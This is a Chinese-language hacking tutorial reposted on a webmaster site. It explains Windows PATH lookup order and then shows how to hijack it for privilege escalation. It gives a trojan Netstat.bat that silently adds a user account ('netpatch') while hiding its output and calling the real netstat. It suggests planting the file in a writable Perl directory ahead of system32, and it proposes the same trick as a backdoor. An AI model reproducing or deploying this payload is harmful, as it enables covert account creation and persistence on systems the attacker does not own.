首先,我們先了解下什么叫環境變量! 環境變量一般是指在操作系統中用來指定操作系統運行環境的一些參數,比如臨時文件夾位置和系統文件夾位置等等。這點有點類似于DOS時期的默認路徑,當你運行某些程時序除了在當前文件夾中尋找外,還會到設置的默認路徑中去查找。比如 查看系統當前的環境變量,可以使用SET命令查看! 下面是執行SET命令后反饋的信息 ALLUSERSPROFILE=C:\Documents and Settings\All Users APPDATA=C:\Documents and Settings\Administrator\Application Data CLIENTNAME=Console CommonProgramFiles=C:\Program Files\Common Files COMPUTERNAME=145F63CA0A6F46D ComSpec=C:\WINDOWS\system32\cmd.exe FP_NO_HOST_CHECK=NO HOMEDRIVE=C: HOMEPATH=\Documents and Settings\Administrator LOGONSERVER=\\145F63CA0A6F46D NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=D:\Progra~1\Borland\Delphi7\Bin;D:\Progra~1\Borland\Delphi7\Projects\Bpl\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 6, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0f06 ProgramFiles=C:\Program Files PROMPT=$P$G SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp TMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp USERDOMAIN=145F63CA0A6F46D USERNAME=Administrator USERPROFILE=C:\Documents and Settings\Administrator windir=C:\WINDOWS ====================================================================== 我們知道,當我們把NC一類的常用小工具放在SYSTEM32時,不管我們當前路徑在哪,都可以執行NC命令!------Hacking中也提供了不少方便,不是么? 其實這就是 Path 變量所起的作用了! 如果將Path變量中的內容全部刪除,那么原來的系統命令系統都將無法識別了。 也就是說,當我們在CMD中輸入些命令時,系統將以如下順序查找相關程序,來達到直接調用程序或文件的目的! 1. 當前目錄下的可執行文件! 2. 依次查找Path變量中的所指定的目錄! OK,在大體認識了環境變量后,我們開始切入主題,談談如何利用環境變量為我們的Hacking提供便利。 我們知道PERL安裝后會在變量Path內容的最前面加入c:\perl\bin //目錄依安裝而定 而當管理員權限配置不當時,會疏忽此目錄的權限配置(默認權限配置,各WIN操作系統均有寫權限),也就給我們創造了提權的條件。 下面我舉個利用的例子! //是否可利用,取決于Path變量的位置以及該目錄是否可寫 //環境變量一定要在系統自帶環境變量之前。 假設條件如下: 目標安裝了PERL,且目錄為c:\perl\bin //目錄可寫 系統環境變量中的Path變量內容如下 Path=c:\perl\bin\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem 我們可以在該目錄下創建如下文件 Netstat.cmd or Netstat.bat //常用系統命令亦可,請自己舉一反三!THX~ 文件內容如下 @net user netpatch nspcn.org /add>nul Rem 命令一定要記得加 @ 結尾加 >nul Rem @是為了隱藏命令本身 Rem >nul 是為了隱藏命令執行完后的結果反饋! @%systemroot%\system32\netstat.exe %1 %2 %3 %4 %5 %6 Rem 學過批處理命令的同學應該知道這后面的%1 %2 %3等,是起 參數的作用 當管理員執行命令時,由于Path變量中c:\perl\bin位于系統環境變量的前面,所以,當管理員執行Netstat命令時,系統會首先找當前目錄下的可執行文件,默認也就是”C:\Documents and Settings\Administrator\” (依登陸用戶而定)當沒找到Netstat程序時,就會接著依次尋找環境變量中的Path變量中所定義的目錄,第一個當然是c:\perl\bin目錄啦..由于系統找的是可執行程序,SO…自然而然的找到了我們的Netstat.bat,然后系統也就理所當然的執行了我們設置好的命令。由于我們構造的巧妙,未露絲毫馬腳..成功暗地提權….. 此乃三十六計中的暗渡陳倉也…. 提權的小技巧講完了…聰明的你或許會想到..如果作為BACKDOOR呢?呵呵~~ 為啥不可呢,有Idea就得試…沒測試哪來的正果呢? |
免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!
掃一掃,關注站長網微信